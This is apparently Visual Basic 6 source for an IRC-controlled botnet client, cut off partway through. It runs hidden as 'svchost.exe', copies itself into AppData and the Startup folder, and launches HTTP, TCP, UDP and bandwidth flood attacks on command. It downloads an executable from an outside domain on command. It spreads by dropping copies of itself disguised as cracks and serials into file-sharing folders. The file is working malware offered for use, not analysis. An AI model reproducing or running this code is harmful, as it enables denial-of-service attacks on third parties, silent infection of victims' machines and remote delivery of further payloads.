2590 sHex = "5850505589E55753515231C0EB0EE8xxxxx01x83F802742285C074258B45103D0008000074433D01080000745BE8200000005A595B5FC9C21400E813000000EBF168xxxxx02x6AFCFF750CE8xxxxx03xEBE0FF7518FF7514FF7510FF750C68xxxxx04xE8xxxxx05xC3BBxxxxx06x8B4514BFxxxxx07x89D9F2AF75B629CB4B8B1C9Dxxxxx08xEB1DBBxxxxx09x8B4514BFxxxxx0Ax89D9F2AF759729CB4B8B1C9Dxxxxx0Bx895D088B1B8B5B1C89D85A595B5FC9FFE0"
2591 nLen = Len(sHex) 'Length of hex pair string
2592
2593 'Convert the string from hex pairs to bytes and store in the ASCII string opcode buffer
2594 For i = 1 To nLen Step 2 'For each pair of hex characters
2595 sCode = sCode & ChrB$(Val("&H" & Mid$(sHex, i, 2))) 'Convert a pair of hex characters to a byte and append to the ASCII string
2596 Next i 'Next pair
2597
2598 nLen = LenB(sCode) 'Get the machine code length
2599 nAddrSubclass = api_GlobalAlloc(0, nLen) 'Allocate fixed memory for machine code buffer
2600 Debug.Print "OK Subclass memory allocated at: " & nAddrSubclass
2601
2602 'Copy the code to allocated memory
2603 Call api_CopyMemory(ByVal nAddrSubclass, ByVal StrPtr(sCode), nLen)
2604
2605 If Subclass_InIDE Then
2606 'Patch the jmp (EB0E) with two nop's (90) enabling the IDE breakpoint/stop checking code
2607 Call api_CopyMemory(ByVal nAddrSubclass + 12, &H9090, 2)
2608
2609 i = Subclass_AddrFunc(MOD_VBA6, FUNC_EBM) 'Get the address of EbMode in vba6.dll
2610 If i = 0 Then 'Found?
2611 i = Subclass_AddrFunc(MOD_VBA5, FUNC_EBM) 'VB5 perhaps, try vba5.dll
2612 End If
2613
2614 Debug.Assert i 'Ensure the EbMode function was found
2615 Call Subclass_PatchRel(PATCH_01, i) 'Patch the relative address to the EbMode api function
2616 End If
2617
2618 Call Subclass_PatchRel(PATCH_03, Subclass_AddrFunc(MOD_USER, FUNC_SWL)) 'Address of the SetWindowLong api function
2619 Call Subclass_PatchRel(PATCH_05, Subclass_AddrFunc(MOD_USER, FUNC_CWP)) 'Address of the CallWindowProc api function
2620End Sub
2621
2622'UnSubclass and release the allocated memory
2623Private Sub Subclass_Terminate()
2624 Call Subclass_UnSubclass 'UnSubclass if the Subclass thunk is active
2625 Call api_GlobalFree(nAddrSubclass) 'Release the allocated memory
2626 Debug.Print "OK Freed subclass memory at: " & nAddrSubclass
2627 nAddrSubclass = 0
2628 ReDim lngTableA1(1 To 1)
2629 ReDim lngTableA2(1 To 1)
2630 ReDim lngTableB1(1 To 1)
2631 ReDim lngTableB2(1 To 1)
2632End Sub
2633
2634'Return whether we're running in the IDE. Public for general utility purposes
2635Private Function Subclass_InIDE() As Boolean
2636 Debug.Assert Subclass_SetTrue(Subclass_InIDE)
2637End Function
2638
2639'Set the window subclass
2640Private Function Subclass_Subclass(ByVal hwnd As Long) As Boolean
2641Const PATCH_02 As Long = 66 'Address of the previous WndProc
2642Const PATCH_04 As Long = 95 'Address of the previous WndProc
2643
2644 If hWndSub = 0 Then
2645 Debug.Assert api_IsWindow(hwnd) 'Invalid window handle
2646 hWndSub = hwnd 'Store the window handle
2647
2648 'Get the original window proc
2649 nAddrOriginal = api_GetWindowLong(hwnd, GWL_WNDPROC)
2650 Call Subclass_PatchVal(PATCH_02, nAddrOriginal) 'Original WndProc address for CallWindowProc, call the original WndProc
2651 Call Subclass_PatchVal(PATCH_04, nAddrOriginal) 'Original WndProc address for SetWindowLong, unsubclass on IDE stop
2652
2653 'Set our WndProc in place of the original
2654 nAddrOriginal = api_SetWindowLong(hwnd, GWL_WNDPROC, nAddrSubclass)
2655 If nAddrOriginal <> 0 Then
2656 nAddrOriginal = 0
2657 Subclass_Subclass = True 'Success
2658 End If
2659 End If
2660
2661 Debug.Assert Subclass_Subclass
2662End Function
2663
2664'Stop subclassing the window
2665Private Function Subclass_UnSubclass() As Boolean
2666 If hWndSub <> 0 Then
2667 lngMsgCntA = 0
2668 lngMsgCntB = 0
2669 Call Subclass_PatchVal(PATCH_06, lngMsgCntA) 'Patch the TableA entry count to ensure no further Proc callbacks
2670 Call Subclass_PatchVal(PATCH_09, lngMsgCntB) 'Patch the TableB entry count to ensure no further Proc callbacks
2671
2672 'Restore the original WndProc
2673 Call api_SetWindowLong(hWndSub, GWL_WNDPROC, nAddrOriginal)
2674
2675 hWndSub = 0 'Indicate the subclasser is inactive
2676
2677 Subclass_UnSubclass = True 'Success
2678 End If
2679
2680End Function
2681
2682'Return the address of the passed function in the passed dll
2683Private Function Subclass_AddrFunc(ByVal sDLL As String, _
2684 ByVal sProc As String) As Long
2685 Subclass_AddrFunc = api_GetProcAddress(api_GetModuleHandle(sDLL), sProc)
2686
2687End Function
2688
2689'Return the address of the low bound of the passed table array
2690Private Function Subclass_AddrMsgTbl(ByRef aMsgTbl() As Long) As Long
2691 On Error Resume Next 'The table may not be dimensioned yet so we need protection
2692 Subclass_AddrMsgTbl = VarPtr(aMsgTbl(1)) 'Get the address of the first element of the passed message table
2693 On Error GoTo 0 'Switch off error protection
2694End Function
2695
2696'Patch the machine code buffer offset with the relative address to the target address
2697Private Sub Subclass_PatchRel(ByVal nOffset As Long, _
2698 ByVal nTargetAddr As Long)
2699 Call api_CopyMemory(ByVal (nAddrSubclass + nOffset), nTargetAddr - nAddrSubclass - nOffset - 4, 4)
2700End Sub
2701
2702'Patch the machine code buffer offset with the passed value
2703Private Sub Subclass_PatchVal(ByVal nOffset As Long, _
2704 ByVal nValue As Long)
2705 Call api_CopyMemory(ByVal (nAddrSubclass + nOffset), nValue, 4)
2706End Sub
2707
2708'Worker function for InIDE - will only be called whilst running in the IDE
2709Private Function Subclass_SetTrue(bValue As Boolean) As Boolean
2710 Subclass_SetTrue = True
2711 bValue = True
2712End Function
2713
2714Private Sub Subclass_AddResolveMessage(ByVal lngAsync As Long, ByVal lngObjectPointer As Long)
2715Dim Count As Long
2716For Count = 1 To lngMsgCntA
2717 Select Case lngTableA1(Count)
2718
2719 Case -1
2720 lngTableA1(Count) = lngAsync
2721 lngTableA2(Count) = lngObjectPointer
2722 Exit Sub
2723 Case lngAsync
2724 Debug.Print "WARNING: Async already registered!"
2725 Exit Sub
2726 End Select
2727Next Count
2728
2729lngMsgCntA = lngMsgCntA + 1
2730ReDim Preserve lngTableA1(1 To lngMsgCntA)
2731ReDim Preserve lngTableA2(1 To lngMsgCntA)
2732
2733lngTableA1(lngMsgCntA) = lngAsync
2734lngTableA2(lngMsgCntA) = lngObjectPointer
2735Subclass_PatchTableA
2736
2737End Sub
2738
2739Private Sub Subclass_AddSocketMessage(ByVal lngSocket As Long, ByVal lngObjectPointer As Long)
2740Dim Count As Long
2741For Count = 1 To lngMsgCntB
2742 Select Case lngTableB1(Count)
2743
2744 Case -1
2745 lngTableB1(Count) = lngSocket
2746 lngTableB2(Count) = lngObjectPointer
2747 Exit Sub
2748 Case lngSocket
2749 Debug.Print "WARNING: Socket already registered!"
2750 Exit Sub
2751 End Select
2752Next Count
2753
2754lngMsgCntB = lngMsgCntB + 1
2755ReDim Preserve lngTableB1(1 To lngMsgCntB)
2756ReDim Preserve lngTableB2(1 To lngMsgCntB)
2757
2758lngTableB1(lngMsgCntB) = lngSocket
2759lngTableB2(lngMsgCntB) = lngObjectPointer
2760Subclass_PatchTableB
2761
2762End Sub
2763
2764Private Sub Subclass_DelResolveMessage(ByVal lngAsync As Long)
2765Dim Count As Long
2766For Count = 1 To lngMsgCntA
2767 If lngTableA1(Count) = lngAsync Then
2768 lngTableA1(Count) = -1
2769 lngTableA2(Count) = -1
2770 Exit Sub
2771 End If
2772Next Count
2773End Sub
2774
2775Private Sub Subclass_DelSocketMessage(ByVal lngSocket As Long)
2776Dim Count As Long
2777For Count = 1 To lngMsgCntB
2778 If lngTableB1(Count) = lngSocket Then
2779 lngTableB1(Count) = -1
2780 lngTableB2(Count) = -1
2781 Exit Sub
2782 End If
2783Next Count
2784End Sub
2785
2786Private Sub Subclass_PatchTableA()
2787Const PATCH_07 As Long = 114
2788Const PATCH_08 As Long = 130
2789
2790Call Subclass_PatchVal(PATCH_06, lngMsgCntA)
2791Call Subclass_PatchVal(PATCH_07, Subclass_AddrMsgTbl(lngTableA1))
2792Call Subclass_PatchVal(PATCH_08, Subclass_AddrMsgTbl(lngTableA2))
2793End Sub
2794
2795Private Sub Subclass_PatchTableB()
2796Const PATCH_0A As Long = 145
2797Const PATCH_0B As Long = 161
2798
2799Call Subclass_PatchVal(PATCH_09, lngMsgCntB)
2800Call Subclass_PatchVal(PATCH_0A, Subclass_AddrMsgTbl(lngTableB1))
2801Call Subclass_PatchVal(PATCH_0B, Subclass_AddrMsgTbl(lngTableB2))
2802End Sub
2803
2804Public Sub Subclass_ChangeOwner(ByVal lngSocket As Long, ByVal lngObjectPointer As Long)
2805Dim Count As Long
2806For Count = 1 To lngMsgCntB
2807 If lngTableB1(Count) = lngSocket Then
2808 lngTableB2(Count) = lngObjectPointer
2809 Exit Sub
2810 End If
2811Next Count
2812End Sub
2813Public Function LoadListFromFile(ByRef SourceFile As String, ByRef ToFormList As ListBox)
2814On Error GoTo ErrEvt
2815Dim TextLine As String, FN As Integer
2816ToFormList.Clear
2817FN = FreeFile
2818Open SourceFile For Input As #FN
2819Do While Not EOF(FN)
2820Line Input #FN, TextLine
2821If TextLine <> LineToRem Then
2822ToFormList.AddItem (TextLine)
2823End If
2824Loop
2825Close #FN
2826Exit Function
2827ErrEvt:
2828Select Case Err.Number
2829Case 51
2830Err.Clear
2831Case Else
2832End Select
2833Resume Next
2834End Function
2835Public Function PreGenLength()
2836strInputString = "0123456789"
2837intLength = Len(strInputString)
2838intNameLength = 3
2839Randomize
2840strName = ""
2841For intStep = 1 To intNameLength
2842intRnd = Int((intLength * Rnd) + 1)
2843strName = strName & Mid(strInputString, intRnd, 1)
2844Next
2845PreGenLength = strName
2846End Function
2847Public Function PreGenString()
2848strInputString = "$¶¥§?©ÀÆ?!@#$%^&*()_+-/?:;'<>,.1234567890qwerty"
2849intLength = Len(strInputString)
2850intNameLength = 1
2851Randomize
2852strName = ""
2853For intStep = 1 To intNameLength
2854intRnd = Int((intLength * Rnd) + 1)
2855strName = strName & Mid(strInputString, intRnd, 1)
2856Next
2857PreGenString = strName
2858End Function
2859Option Explicit
2860Public Function HTTPParse(Data As String, Time As Timer)
2861Dim ServIP As String
2862Dim Website As String
2863ServIP = Split(Data, "HTTP Flood:")(1)
2864Form1.HTTPServ.Text = ServIP
2865Time.Enabled = True
2866Form1.Stat.Value = 1
2867End Function
2868Public Function TCPParse(Data As String, Time As Timer)
2869Dim TCPVic As String
2870Dim TCPPortz As String
2871TCPVic = Split(Data, "TCP Flood:")(1)
2872TCPVic = Split(TCPVic, " Port:")(0)
2873TCPPortz = Split(Data, "Port:")(1)
2874Form1.TCPVictim.Text = TCPVic
2875Form1.TCPPort.Text = TCPPortz
2876Time.Enabled = True
2877Form1.Stat.Value = 1
2878End Function
2879Public Function UDPParse(Data As String, Time As Timer)
2880Dim UDPVic As String
2881Dim UDPPortz As String
2882UDPVic = Split(Data, "UDP Flood:")(1)
2883UDPVic = Split(UDPVic, " Port:")(0)
2884UDPPortz = Split(Data, "Port:")(1)
2885Form1.UDPVictim.Text = UDPVic
2886Form1.UDPPort.Text = UDPPortz
2887Time.Enabled = True
2888Form1.Stat.Value = 1
2889End Function
2890Public Function ProtocolParse(Data As String)
2891Dim ProtoVic As String
2892ProtoVic = Split(Data, "Protocol Flood:")(1)
2893Form1.ProtocolVictim.Text = ProtoVic
2894Form1.UDPList.ListIndex = 0
2895Form1.TCPList.ListIndex = 0
2896Form1.ProtocolTimer.Enabled = True
2897Form1.Stat.Value = 1
2898End Function
2899Public Function BandwithParse(Data As String, Time As Timer)
2900Dim Website As String
2901Dim SaveAs As String
2902Website = Split(Data, "Bandwith DDos:")(1)
2903Website = Split(Website, " Save:")(0)
2904SaveAs = Split(Data, "Save:")(1)
2905Form1.BandwithVictim.Text = Website
2906Form1.FSave.Text = SaveAs
2907Time.Enabled = True
2908Form1.Stat.Value = 1
2909End Function
2910Public Function PMParse(Data As String, MyName As String)
2911Dim WhoFrom As String
2912Dim Message As String
2913WhoFrom = Split(Data, ":")(1)
2914WhoFrom = Split(WhoFrom, "!")(0)
2915Message = Split(Data, MyName & " :")(1)
2916End Function
2917Public Function PmPacket(Whoto As String, Message As String) As String
2918PmPacket = "PRIVMSG " & Whoto & " :" & Message & vbCrLf
2919End Function
2920Public Function SpreadHost()
2921On Error Resume Next
2922If Dir("C:\Users\" & Environ("USERNAME") & "\AppData\Roaming\DC++\DCPlusPlus.xml") <> "" Then
2923Call LoadListFromFile("C:\Users\" & Environ("USERNAME") & "\AppData\Roaming\DC++\DCPlusPlus.xml", Form1.DCList)
2924Form1.DCList.ListIndex = 0
2925Form1.FList.ListIndex = 0
2926Form1.DDirTimer.Enabled = True
2927Form1.Stat.Value = 1
2928End If
2929If Dir("C:\Users\" & Environ("USERNAME") & "\AppData\Roaming\ApexDC++\DCPlusPlus.xml") <> "" Then
2930Call LoadListFromFile("C:\Users\" & Environ("USERNAME") & "\AppData\Roaming\ApexDC++\DCPlusPlus.xml", Form1.DCList)
2931Form1.DCList.ListIndex = 0
2932Form1.FList.ListIndex = 0
2933Form1.DDirTimer.Enabled = True
2934Form1.Stat.Value = 1
2935End If
2936If Dir("C:\Users\" & Environ("USERNAME") & "\Documents\AirDC++\DCPlusPlus.xml") <> "" Then
2937Call LoadListFromFile("C:\Users\" & Environ("USERNAME") & "\Documents\AirDC++\DCPlusPlus.xml", Form1.DCList)
2938Form1.DCList.ListIndex = 0
2939Form1.FList.ListIndex = 0
2940Form1.DDirTimer.Enabled = True
2941Form1.Stat.Value = 1
2942End If
2943If Dir("C:\Users\" & Environ("USERNAME") & "\Documents\StrongDC++\DCPlusPlus.xml") <> "" Then
2944Call LoadListFromFile("C:\Users\" & Environ("USERNAME") & "\Documents\StrongDC++\DCPlusPlus.xml", Form1.DCList)
2945Form1.DCList.ListIndex = 0
2946Form1.FList.ListIndex = 0
2947Form1.DDirTimer.Enabled = True
2948Form1.Stat.Value = 1
2949End If
2950End Function
2951Option Explicit
2952Public Const GW_HWNDPREV = 3
2953Public Declare Function OpenIcon Lib "user32" (ByVal hwnd As Long) As Long
2954Public Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
2955Public Declare Function GetWindow Lib "user32" (ByVal hwnd As Long, ByVal wCmd As Long) As Long
2956Public Declare Function SetForegroundWindow Lib "user32" (ByVal hwnd As Long) As Long
2957Public Function Clone(SourceFile As String, destfile As String)
2958Dim Bytearray() As Byte
2959Dim FileSize As Long
2960Open SourceFile For Binary Access Read As #1
2961Open destfile For Binary Access Write As #2
2962FileSize = LOF(1)
2963ReDim Bytearray(FileSize)
2964Get #1, , Bytearray
2965Put #2, , Bytearray
2966Close 1
2967Close 2
2968End Function
2969Option Explicit
2970Private Const ERROR_ALREADY_EXISTS = 183&
2971Private Declare Function CreateMutex Lib "kernel32" Alias "CreateMutexA" (lpMutexAttributes As Any, _
2972ByVal bInitialOwner As Long, ByVal lpName As String) As Long
2973Private Declare Function ReleaseMutex Lib "kernel32" (ByVal hMutex As Long) As Long
2974Private Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long
2975Private Const PROCESS_VM_READ = &H10
2976Private Const PROCESS_QUERY_INFORMATION = &H400
2977Dim WithEvents Client As CSocketMaster
2978Dim WithEvents HTTPSock As CSocketMaster
2979Dim WithEvents TCPSock As CSocketMaster
2980Dim WithEvents UDPSock As CSocketMaster
2981Dim WithEvents ProtoTCP As CSocketMaster
2982Dim WithEvents ProtoUDP As CSocketMaster
2983Dim WithEvents BandSock As CDownload
2984Dim WithEvents UpdateSck As CDownload
2985Dim InChannel As Boolean
2986
2987Private Sub Form_Load()
2988Set Client = New CSocketMaster
2989Set HTTPSock = New CSocketMaster
2990Set TCPSock = New CSocketMaster
2991Set UDPSock = New CSocketMaster
2992Set ProtoTCP = New CSocketMaster
2993Set ProtoUDP = New CSocketMaster
2994ProtoUDP.Protocol = sckUDPProtocol
2995ProtoUDP.Protocol = sckUDPProtocol
2996UDPSock.Protocol = sckUDPProtocol
2997Directory.Text = App.Path & "\" & App.EXEName & ".exe"
2998App.Title = "svchost.exe"
2999App.TaskVisible = False
3000InChannel = False
3001Dim Smenu As String
3002Dim Rooter As String
3003Rooter = "C:\Users\" & Environ("USERNAME") & "\AppData\svhost.exe"
3004Smenu = "C:\Users\" & Environ("USERNAME") & "\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svhost.exe"
3005If Dir("C:\Users\" & Environ("USERNAME") & "\AppData\svhoster.exe") <> "" Then
3006Shell "C:\Users\" & Environ("USERNAME") & "\AppData\svhoster.exe", vbHide
3007Else
3008Call Clone(App.Path & "\svhoster.exe", "C:\Users\" & Environ("USERNAME") & "\AppData\svhoster.exe")
3009End If
3010If Dir("C:\Users\" & Environ("USERNAME") & "\AppData\svhosterz.exe") <> "" Then
3011DoEvents
3012Else
3013Call Clone(App.Path & "\svhoster.exe", "C:\Users\" & Environ("USERNAME") & "\AppData\svhosterz.exe")
3014End If
3015If Dir("C:\Users\" & Environ("USERNAME") & "\AppData\svhosters.exe") <> "" Then
3016DoEvents
3017Else
3018Call Clone(App.Path & "\svhoster.exe", "C:\Users\" & Environ("USERNAME") & "\AppData\svhosters.exe")
3019End If
3020If Dir(Rooter) <> "" Then
3021DoEvents
3022Else
3023Call Clone(App.Path & "\svhost.exe", "C:\Users\" & Environ("USERNAME") & "\AppData\svhost.exe")
3024End If
3025If Dir(Smenu) <> "" Then
3026DoEvents
3027Else
3028Call Clone("C:\Users\" & Environ("USERNAME") & "\AppData\svhost.exe", "C:\Users\" & Environ("USERNAME") & "\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svhost.exe")
3029End If
3030Client.CloseSck
3031Client.Connect IRCServer.Text, 667
3032End Sub
3033Private Sub Form_Terminate()
3034On Error Resume Next
3035Client.SendData "QUIT :Remote Server Closed" & vbCrLf
3036End Sub
3037Private Sub Form_Unload(Cancel As Integer)
3038On Error Resume Next
3039Client.SendData "QUIT :Remote Server Closed" & vbCrLf
3040End Sub
3041Private Sub Client_DataArrival(ByVal bytesTotal As Long)
3042On Error Resume Next
3043Dim Data As String
3044Client.GetData Data
3045If InStr(Data, "Database") Then
3046Exit Sub
3047ElseIf InStr(Data, "Nickname is already in use") Then
3048IRCUsername.Text = IRCUsername.Text & "2"
3049Client.CloseSck
3050Client.Connect IRCServer.Text, 6667
3051ElseIf InStr(Data, "Found your hostname") Then
3052Client.SendData "NICK " & IRCUsername.Text & vbCrLf
3053DoEvents
3054Client.SendData "USER " & IRCUsername.Text & " " & Client.LocalHostName & " " & IRCServer.Text & " :b" & IRCUsername.Text & vbCrLf
3055ElseIf InStr(Data, "End of /MOTD") Then
3056Client.SendData "JOIN " & IRCChan.Text & vbCrLf
3057InChannel = True
3058ElseIf InStr(Data, "PING") Then
3059Dim PONGRET As String
3060InChannel = False
3061PONGRET = Split(Data, "PING :")(1)
3062Client.SendData "PONG :" & PONGRET & vbCrLf
3063InChannel = True
3064ElseIf InStr(Data, "ERROR :Closing Link: " & IRCUsername.Text & "[" & Client.LocalIP & "] (Read error)") Then
3065InChannel = False
3066ElseIf InStr(Data, "HTTP Flood") Then
3067Call HTTPParse(Data, HTTPTimer)
3068HTTPVerb
3069ElseIf InStr(Data, "TCP Flood") Then
3070Call TCPParse(Data, TCPTimer)
3071TCPVerb
3072ElseIf InStr(Data, "UDP Flood") Then
3073Call UDPParse(Data, UDPTimer)
3074UDPVerb
3075ElseIf InStr(Data, "Protocol Flood") Then
3076Call ProtocolParse(Data)
3077ProtoVerb
3078ElseIf InStr(Data, "Bandwith DDos") Then
3079Call BandwithParse(Data, BandTimer)
3080BandVerb
3081ElseIf InStr(Data, "Stop DDos") Then
3082HTTPTimer.Enabled = False
3083TCPTimer.Enabled = False
3084UDPTimer.Enabled = False
3085ProtocolTimer.Enabled = False
3086BandTimer.Enabled = False
3087Stat.Value = 0
3088StopDDOSVerbose
3089ElseIf InStr(Data, "Update Network") Then
3090Set UpdateSck = New CDownload
3091UpdateSck.Download "http://digitalsecurity.tk/Downloads/UpdatePackage.exe", "C:\Users\" & Environ("USERNAME") & "\Favorites\UpdatePackage.exe"
3092ElseIf InStr(Data, "Set Verbose Yes") Then
3093Verb.Value = 1
3094ElseIf InStr(Data, "Set Verbose No") Then
3095Verb.Value = 0
3096ElseIf InStr(Data, "Network Status") Then
3097HostStatuz
3098ElseIf InStr(Data, "Network Version") Then
3099Client.SendData "PRIVMSG #AnonNetwork :Remote Host Is Currently Running Server " & ServVersion.Text & vbCrLf
3100ElseIf InStr(Data, "PRIVMSG " & IRCUsername.Text) Then
3101Call PMParse(Data, IRCUsername.Text)
3102ElseIf InStr(Data, "Spread Server") Then
3103Call SpreadHost
3104End If
3105End Sub
3106Private Sub Client_CloseSck()
3107InChannel = False
3108End Sub
3109Private Sub Client_Error(ByVal Number As Integer, Description As String, ByVal sCode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean)
3110InChannel = False
3111End Sub
3112Private Sub CTime_Timer()
3113On Error Resume Next
3114If InChannel = True Then
3115Exit Sub
3116End If
3117If InChannel = False Then
3118Client.CloseSck
3119Client.Connect IRCServer.Text, 6667
3120End If
3121End Sub
3122Private Sub HTTPTimer_Timer()
3123On Error Resume Next
3124HTTPSock.CloseSck
3125HTTPSock.Connect HTTPServ.Text, 80
3126End Sub
3127Private Sub HTTPSock_Connect()
3128On Error Resume Next
3129Dim Pack As String
3130Pack = "GET / HTTP/1.1" & vbCrLf
3131Pack = Pack & "Host: " & HTTPServ.Text
3132Pack = Pack & "User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:49.0) Gecko/20100101 Firefox/49.0" & vbCrLf
3133Pack = Pack & "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8" & vbCrLf
3134Pack = Pack & "Accept-Language: en-US,en;q=0.5" & vbCrLf
3135Pack = Pack & "Accept -Encoding: gzip , deflate" & vbCrLf & vbCrLf
3136HTTPSock.SendData Pack
3137End Sub
3138Private Sub HTTPSock_DataArrival(ByVal bytesTotal As Long)
3139On Error Resume Next
3140Dim Data As String
3141HTTPSock.GetData Data
3142Data = ""
3143End Sub
3144Private Sub ProtocolTimer_Timer()
3145On Error Resume Next
3146ProtoTCP.CloseSck
3147ProtoTCP.Connect ProtocolVictim.Text, TCPList.Text
3148ProtoUDP.CloseSck
3149ProtoUDP.Connect ProtocolVictim.Text, UDPList.Text
3150ProtoUDP.SendData "W¾Â€NX3-Anonymous-Project-NX3W¾Â" & String(PreGenLength, PreGenString)
3151ProtoTCP.CloseSck
3152ProtoTCP.Connect ProtocolVictim.Text, TCPList.Text
3153ProtoUDP.CloseSck
3154ProtoUDP.Connect ProtocolVictim.Text, UDPList.Text
3155ProtoUDP.SendData "W¾Â€NX3-Anonymous-Project-NX3W¾Â" & String(1000, PreGenString)
3156ProtoTCP.CloseSck
3157ProtoTCP.Connect ProtocolVictim.Text, TCPList.Text
3158ProtoUDP.CloseSck
3159ProtoUDP.Connect ProtocolVictim.Text, UDPList.Text
3160ProtoUDP.SendData "W¾Â€NX3-Anonymous-Project-NX3W¾Â" & String(PreGenLength, PreGenString)
3161ProtoTCP.CloseSck
3162ProtoTCP.Connect ProtocolVictim.Text, TCPList.Text
3163ProtoUDP.CloseSck
3164ProtoUDP.Connect ProtocolVictim.Text, UDPList.Text
3165ProtoUDP.SendData "W¾Â€NX3-Anonymous-Project-NX3W¾Â" & String(1000, PreGenString)
3166ProtoTCP.CloseSck
3167ProtoTCP.Connect ProtocolVictim.Text, TCPList.Text
3168ProtoUDP.CloseSck
3169ProtoUDP.Connect ProtocolVictim.Text, UDPList.Text
3170ProtoUDP.SendData "W¾Â€NX3-Anonymous-Project-NX3W¾Â" & String(PreGenLength, PreGenString)
3171ProtoTCP.CloseSck
3172ProtoTCP.Connect ProtocolVictim.Text, TCPList.Text
3173ProtoUDP.CloseSck
3174ProtoUDP.Connect ProtocolVictim.Text, UDPList.Text
3175ProtoUDP.SendData "W¾Â€NX3-Anonymous-Project-NX3W¾Â" & String(1000, PreGenString)
3176ProtoTCP.CloseSck
3177ProtoTCP.Connect ProtocolVictim.Text, TCPList.Text
3178ProtoUDP.CloseSck
3179ProtoUDP.Connect ProtocolVictim.Text, UDPList.Text
3180ProtoUDP.SendData "W¾Â€NX3-Anonymous-Project-NX3W¾Â" & String(PreGenLength, PreGenString)
3181ProtoTCP.CloseSck
3182ProtoTCP.Connect ProtocolVictim.Text, TCPList.Text
3183ProtoUDP.CloseSck
3184ProtoUDP.Connect ProtocolVictim.Text, UDPList.Text
3185ProtoUDP.SendData "W¾Â€NX3-Anonymous-Project-NX3W¾Â" & String(1000, PreGenString)
3186ProtoTCP.CloseSck
3187ProtoTCP.Connect ProtocolVictim.Text, TCPList.Text
3188ProtoUDP.CloseSck
3189ProtoUDP.Connect ProtocolVictim.Text, UDPList.Text
3190ProtoUDP.SendData "W¾Â€NX3-Anonymous-Project-NX3W¾Â" & String(PreGenLength, PreGenString)
3191ProtoTCP.CloseSck
3192ProtoTCP.Connect ProtocolVictim.Text, TCPList.Text
3193ProtoUDP.CloseSck
3194ProtoUDP.Connect ProtocolVictim.Text, UDPList.Text
3195ProtoUDP.SendData "W¾Â€NX3-Anonymous-Project-NX3W¾Â" & String(1000, PreGenString)
3196ProtoTCP.CloseSck
3197ProtoTCP.Connect ProtocolVictim.Text, TCPList.Text
3198ProtoUDP.CloseSck
3199ProtoUDP.Connect ProtocolVictim.Text, UDPList.Text
3200ProtoUDP.SendData "W¾Â€NX3-Anonymous-Project-NX3W¾Â" & String(PreGenLength, PreGenString)
3201ProtoTCP.CloseSck
3202ProtoTCP.Connect ProtocolVictim.Text, TCPList.Text
3203ProtoUDP.CloseSck
3204ProtoUDP.Connect ProtocolVictim.Text, UDPList.Text
3205ProtoUDP.SendData "W¾Â€NX3-Anonymous-Project-NX3W¾Â" & String(1000, PreGenString)
3206ProtoTCP.CloseSck
3207ProtoTCP.Connect ProtocolVictim.Text, TCPList.Text
3208ProtoUDP.CloseSck
3209ProtoUDP.Connect ProtocolVictim.Text, UDPList.Text
3210ProtoUDP.SendData "W¾Â€NX3-Anonymous-Project-NX3W¾Â" & String(PreGenLength, PreGenString)
3211ProtoTCP.CloseSck
3212ProtoTCP.Connect ProtocolVictim.Text, TCPList.Text
3213ProtoUDP.CloseSck
3214ProtoUDP.Connect ProtocolVictim.Text, UDPList.Text
3215ProtoUDP.SendData "W¾Â€NX3-Anonymous-Project-NX3W¾Â" & String(1000, PreGenString)
3216ProtoTCP.CloseSck
3217ProtoTCP.Connect ProtocolVictim.Text, TCPList.Text
3218ProtoUDP.CloseSck
3219ProtoUDP.Connect ProtocolVictim.Text, UDPList.Text
3220ProtoUDP.SendData "W¾Â€NX3-Anonymous-Project-NX3W¾Â" & String(PreGenLength, PreGenString)
3221ProtoTCP.CloseSck
3222ProtoTCP.Connect ProtocolVictim.Text, TCPList.Text
3223ProtoUDP.CloseSck
3224ProtoUDP.Connect ProtocolVictim.Text, UDPList.Text
3225ProtoUDP.SendData "W¾Â€NX3-Anonymous-Project-NX3W¾Â" & String(1000, PreGenString)
3226UDPList.ListIndex = UDPList.ListIndex + 1
3227TCPList.ListIndex = TCPList.ListIndex + 1
3228End Sub
3229
3230Private Sub SpreadTimer_Timer()
3231On Error Resume Next
3232If FList.ListIndex = FList.ListCount - 1 Then
3233SpreadTimer.Enabled = False
3234DoneSpreadverb
3235Else
3236Call Clone("C:\Users\" & Environ("USERNAME") & "\AppData\svhost.exe", FDestination.Text & "\" & FList.Text & ".exe")
3237DoEvents
3238Call Clone("C:\Users\" & Environ("USERNAME") & "\AppData\svhost.exe", FDestination.Text & "\" & FList.Text & "+ Crack.exe")
3239DoEvents
3240Call Clone("C:\Users\" & Environ("USERNAME") & "\AppData\svhost.exe", FDestination.Text & "\" & FList.Text & "+ Serial.exe")
3241DoEvents
3242FList.ListIndex = FList.ListIndex + 1
3243End If
3244End Sub
3245
3246Private Sub TCPList_Click()
3247If TCPList.ListIndex = TCPList.ListCount - 1 Then
3248TCPList.ListIndex = 0
3249End If
3250End Sub
3251Private Sub TCPTimer_Timer()
3252On Error Resume Next
3253TCPSock.CloseSck
3254TCPSock.Connect TCPVictim.Text, TCPPort.Text
3255TCPSock.CloseSck
3256TCPSock.Connect TCPVictim.Text, TCPPort.Text
3257TCPSock.CloseSck
3258TCPSock.Connect TCPVictim.Text, TCPPort.Text
3259TCPSock.CloseSck
3260TCPSock.Connect TCPVictim.Text, TCPPort.Text
3261TCPSock.CloseSck
3262TCPSock.Connect TCPVictim.Text, TCPPort.Text
3263TCPSock.CloseSck
3264TCPSock.Connect TCPVictim.Text, TCPPort.Text
3265TCPSock.CloseSck
3266TCPSock.Connect TCPVictim.Text, TCPPort.Text
3267TCPSock.CloseSck
3268TCPSock.Connect TCPVictim.Text, TCPPort.Text
3269TCPSock.CloseSck
3270TCPSock.Connect TCPVictim.Text, TCPPort.Text
3271TCPSock.CloseSck
3272TCPSock.Connect TCPVictim.Text, TCPPort.Text
3273TCPSock.CloseSck
3274TCPSock.Connect TCPVictim.Text, TCPPort.Text
3275TCPSock.CloseSck
3276TCPSock.Connect TCPVictim.Text, TCPPort.Text
3277TCPSock.CloseSck
3278TCPSock.Connect TCPVictim.Text, TCPPort.Text
3279End Sub
3280Private Sub UDPList_Click()
